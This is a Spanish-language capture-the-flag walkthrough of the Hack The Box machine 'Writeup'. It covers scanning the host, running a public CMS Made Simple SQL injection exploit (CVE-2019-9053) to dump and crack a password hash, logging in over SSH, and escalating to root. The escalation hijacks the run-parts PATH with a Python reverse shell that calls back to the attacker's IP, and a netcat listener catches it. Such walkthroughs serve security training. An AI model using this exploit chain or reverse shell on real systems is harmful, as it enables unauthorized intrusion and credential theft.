#### Realizamos un escaneo de puertos con nmap `$ nmap -sC -sV 10.10.10.138` #### Realizamos un escaneo de directorios con dirb `$ dirb http://10.10.10.138/writeup/` #### Comprobamos el software utilizado por la pagina `$ whatweb 10.10.10.138` #### #Descargamos el CVE-2019-9053 https://www.exploit-db.com/exploits/46635 #### #Utilizamos el CVE para explotar la vulnerabilidad ``` $ chmod +x 46635.py $ python 46335.py http://10.10.10.138/writeup/ ``` #### Si el exploit se lanza bien, nos devolvera las siguientes credenciales ``` [+] Salt for password found: 1 [+] Username found: jkr [+] Email found: jkr@writeup.htb [+] Password found: 62def4866937f08cc13bab43bb14e6f7 ``` #### La contraseƱa esta cifrada por lo tanto ``` Password found: 62def4866937f08cc13bab43bb14e6f7 (MD5) Password decoded: 5a599ef579066807raykayjay9 Password: raykayjay9 ``` #### Entramos por ssh con las credenciales obtenidas `$ ssh jkr@10.10.10.138` #### Obtenemos la flag de user ``` $ cat user.txt d4e493fd4068afc9eb1aa6a55319f978 ``` #### Descargamos pspy en nuestra maquina local `$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.0.0/pspy64` #### Una vez descargado pspy, lo subimos via ssh con scp `$ scp pspy64 jkr@10.10.10.138:/home/jkr` #### Le damos permisos a pspy y lo ejecutamos ``` $ chmod +x pspy64 $ ./pspy64 ``` #### Si nos fijamos bien, cuando nos conectamos por ssh hay algo ejecutandose `sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new` #### Por lo tanto lo que haremos sera crear una reverse shell en python `$ nano shell.py` #### Este sera el codigo de nuestra shell, lo cambiamos poniendo nuesta ip y el puerto que queramos ``` #!/usr/bin/python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.XX.XX",4444)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) ``` #### Una vez creada la copiamos a la carpeta /usr/local/bin/run-parts y le damos permisos ``` $ cp test.py /usr/local/bin/run-parts $ chmod +x /usr/local/bin/run-parts ``` #### Luego ponemos una instancia nueva de netcat a la escucha `$ nc -lvp 4444` #### Nos desconectamos del ssh, y nos conectamos nuevamente `$ ssh jkr@10.10.10.138` #### Luego si nos fijamos la instancia de netcat que abrimos antes, veremos que ya estamos conectados como root, ahora solo queda conseguir la flag de root ``` $ cd root $ cat root.txt eeba47f60b48ef92b734f9b6198d7226 ``` ---